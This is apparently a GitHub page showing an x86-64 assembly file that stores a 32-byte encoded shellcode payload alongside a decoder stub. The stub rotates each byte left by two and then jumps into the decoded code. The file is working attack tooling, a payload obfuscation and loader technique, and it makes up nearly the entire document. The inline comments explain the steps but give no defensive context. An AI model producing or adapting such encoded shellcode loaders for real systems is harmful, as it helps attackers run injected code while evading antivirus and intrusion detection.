Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
19 lines (14 sloc) 463 Bytes
global _start
section .text
_start:
jmp decoder
shellcode: db 0x12,0x4c,0x30,0x14,0x12,0xee,0xcb,0x98,0x5a,0x9b,0xcb,0xcb,0xdc,0x1a,0xd4,0x12,0x62,0xf9,0x14,0x12,0x62,0xb8,0xd5,0x12,0x62,0xb9,0x12,0xe0,0x30,0xce,0xc3,0x41
decoder:
lea rsi, [rel shellcode] ; Load the address of our shellcode into %rsi
push 32 ; Length of the shellcode
pop rcx
decode:
rol byte [rsi], 2 ; Leftshift the byte pointed to by %rsi by 2
inc rsi
loop decode
jmp shellcode